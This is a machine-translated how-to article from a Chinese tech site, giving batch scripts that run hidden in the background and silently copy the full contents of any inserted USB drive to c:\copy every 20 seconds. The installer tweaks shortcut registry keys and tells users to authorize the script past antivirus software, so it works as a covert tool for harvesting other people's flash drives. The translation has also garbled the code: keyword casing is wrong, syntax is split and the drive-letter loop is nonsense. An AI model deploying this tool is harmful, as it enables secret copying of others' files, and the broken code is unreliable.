Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to realize the batch processing of judging that the U disk has been inserted and automatically COPY all contents

2025-02-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly introduces how to judge that the U disk has been inserted and automatically COPY all the contents of the batch processing, the article is very detailed, has a certain reference value, interested friends must read it!

Install USB disk to automatically copy .cmd

The code is as follows:

@ echo off

Mode con: cols=80 lines=40

Color 17

: start

Cls

Title $* Han * system * $

Echo.

Echo.

Echo.

Echo.

Echo =

Echo.

Echo.

Automatic copy of echo installation USB disk

Echo.

Echo welcome to use, please select the option (1, 2, 3, 4, 5, 6)

Echo.

Echo.

Echo [1] installer

Echo [2] running program

Echo [3] shutdown program

Echo [4] Uninstaller

Echo [5] generate shortcuts

Echo [6] use help

Echo [7] X key off

Echo.

Echo.

Echo.

Echo Tip: if your computer has antivirus software installed, please authorize this VBS code!

Echo.

Echo.

Echo.

Echo.

Made by echo $Han, version 1.0 $

Echo.

Echo =

Echo.

Set / p choice= please enter:

If {% choice%} = = {} goto start

If / I% choice%==1 goto install

If / I% choice%==2 goto open

If / I% choice%==3 goto close

If / I% choice%==4 goto uninstall

If / I% choice%==5 goto shutcut

If / I% choice%==6 goto help

If / I% choice%==x goto shut

Goto start

: install

Rem = = setup = =

If exist% temp%\ copy.cmd del / Q / f "% temp%\ copy.cmd"

Copy copy.cmd "% temp%\ copy.cmd" > nul 2 > nul

Copy sleep.exe "% temp%\ sleep.exe" > nul 2 > nul

Rem = = hide window = =

If exist% temp%\ hide.vbs del / Q% temp%\ hide.vbs

Echo.

Echo if your computer has antivirus software installed, please authorize this VBS code

Reg delete "HKEY_CLASSES_ROOT\ lnkfile" / v IsShortcut / f > nul 2 > nul

Reg delete "HKEY_CLASSES_ROOT\ piffile" / v IsShortcut / f > nul 2 > nul

Set path=%temp%\ copy.cmd

Echo set ws=WScript.CreateObject ("WScript.Shell") > "% temp%\ hide.vbs"

Echo ws.Run "path%", 0 > >% temp%\ hide.vbs

Rem = = establish termination = =

Echo @ echo off >% temp%\ kill.cmd

Echo mode con: cols=20 lines=2 > >% temp%\ kill.cmd

The echo echo program has been terminated successfully! > >% temp%\ kill.cmd

Echo pause ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Echo tskill ping ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Echo tskill xcopy ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Echo tskill sleep ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Echo tskill cmd ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Echo exit ^ > nul 2 ^ > nul > >% temp%\ kill.cmd

Rem = = establish shortcut = =

: shutcut

Echo.

If not exist "% temp%\ hide.vbs" goto start

Set path3=%temp%\ hide.vbs

Echo [InternetShortcut] > U disk automatically replicates .url

Echo URL= "% path3%" > > U disk automatically copy .url

Echo IconIndex=29 > > USB disk automatic copy .url

Echo IconFile=C:\ windows\ system32\ shell32.dll > > U disk automatically copy .url

Set path4=%temp%\ kill.cmd

Echo [InternetShortcut] > > terminate automatic copy of USB disk .url

Echo URL= "% path4%" > > terminates automatic copy of USB disk .url

Echo IconIndex=29 > > terminate automatic copy of USB disk .url

Echo IconFile=C:\ windows\ system32\ shell32.dll > > terminate automatic copy of USB disk .url

Echo ends successfully! Please run the shortcut directly!

Pause > nul 2 > nul

Goto start

Rem = = end of installation =

: uninstall

Rem = = Uninstall program = =

Echo.

Tskill ping > nul 2 > nul

Tskill xcopy > nul 2 > nul

Tskill sleep > nul 2 > nul

Del / Q / f "% temp%\ copy.cmd" > nul 2 > nul

Del / Q / f "% temp%\ hide.vbs" > nul 2 > nul

Del / Q / f "% temp%\ copy.tmp" > nul 2 > nul

Del / Q / f "% temp%\ sleep.exe" > nul 2 > nul

Del / Q / f "% temp%\ kill.cmd" > nul 2 > nul

Del / Q / f U disk automatically copy .url > nul 2 > nul

Del / Q / f terminates automatic copy of USB disk. Url > nul 2 > nul

The echo program has been successfully uninstalled!

Reg add "HKEY_CLASSES_ROOT\ lnkfile" / v IsShortcut / f > nul 2 > nul

Reg add "HKEY_CLASSES_ROOT\ piffile" / v IsShortcut / f > nul 2 > nul

Pause > nul 2 > nul

Goto start

Rem = = uninstall end = =

: open

Rem = = run program = =

Echo.

If not exist% temp%\ copy.cmd goto start

"% temp%\ hide.vbs"

The echo program has successfully started to run itself (scan every 20 seconds)!

Pause > nul 2 > nul

Exit

Rem = = run end = =

: close

Rem = = terminating program = =

Echo.

If not exist% temp%\ copy.cmd goto start

Echo program has successfully finished self-running!

Pause > nul 2 > nul

Tskill ping > nul 2 > nul

Tskill xcopy > nul 2 > nul

Tskill sleep > nul 2 > nul

Tskill cmd > nul 2 > nul

Exit

Rem = = termination end = =

: help

Rem = = use help = =

Cls

Echo.

Echo.

Echo this tool is applicable to Windows XPsp2 system. I am not responsible for any losses caused by it.

Echo.

Echo.

How to use echo: 1 Click the installer

Echo.

Echo 2 if your computer has antivirus software installed, please authorize this VBS code

Echo.

The first installation of echo 3 may need to be run and then finished once before it can take effect (depending on system settings)

Echo.

Please start or shut down echo 4 by shortcut after installation, no need to start with the installer.

Echo.

Echo 5 this program can be run before or after the USB disk is inserted.

Echo.

Echo 6 Click to run the program, and the program will be executed automatically every 20 seconds

Echo.

Echo 7 Please make sure your c:\ has enough space. It is recommended that you do not plug in the removable hard drive when the program is running.

Echo.

Echo 8 Please make sure that the copy flash drive you want is non-toxic.

Echo.

Echo 9 this program takes up more memory when scanning. It is recommended to close it after each use.

Echo.

A shortcut created by echo 10 that you can rename and put anywhere, including the startup menu

Echo.

Echo 11 Please clean up the files in the default saved directory c:\ copy folder in time

Echo.

Echo 12 this software does not guarantee the correctness of copy data

Echo.

Echo 13 this software should not be used for illegal purposes

Echo.

Echo.

Echo this software is free software. Welcome to use it.

Echo.

Echo press any key to return to the main menu

Pause > nul 2 > nul

Goto start

Rem = = help ends =

: shut

Rem = = close program = =

Exit

Rem = = close end = =

Copy.cmd

The code is as follows:

@ echo off

Title $* Han * system * $

Mode con: cols=14 lines=1

: again

Cls

Del / Q / f "% temp%\ copy.tmp" > nul 2 > nul

For% I in (c temp% dpentry erect f g copy.tmp) do @ fsutil fsinfo drivetype% I: > > "% temp%\ copy.tmp"

Findstr / I "removable drive"% temp%\ copy.tmp"

If errorlevel==1 goto end

If errorlevel==0 goto copy

: end

The removable disk was not detected by rem!

If not exist% temp%\ sleep.exe ping 127.0.0.1-n 20 > nul 2 > nul

% temp%\ sleep.exe 20s

Goto again

: copy

If exist c:\ copy goto goon

Cd\

Cd / d c:

Md copy

: goon

For / f "tokens=1"% I in ('findstr / I "removable drive"% temp%\ copy.tmp"') do (

Xcopy / e / y% I\ *. * c:\ copy > nul 2 > nul

)

Rem has been copied, please clean up the file in time!

If not exist% temp%\ sleep.exe ping 127.0.0.1-n 20 > nul 2 > nul

% temp%\ sleep.exe 20s

Goto again

The above is all the contents of the article "how to determine that the U disk has been inserted and automatically batch process all the content of COPY". Thank you for reading! Hope to share the content to help you, more related knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report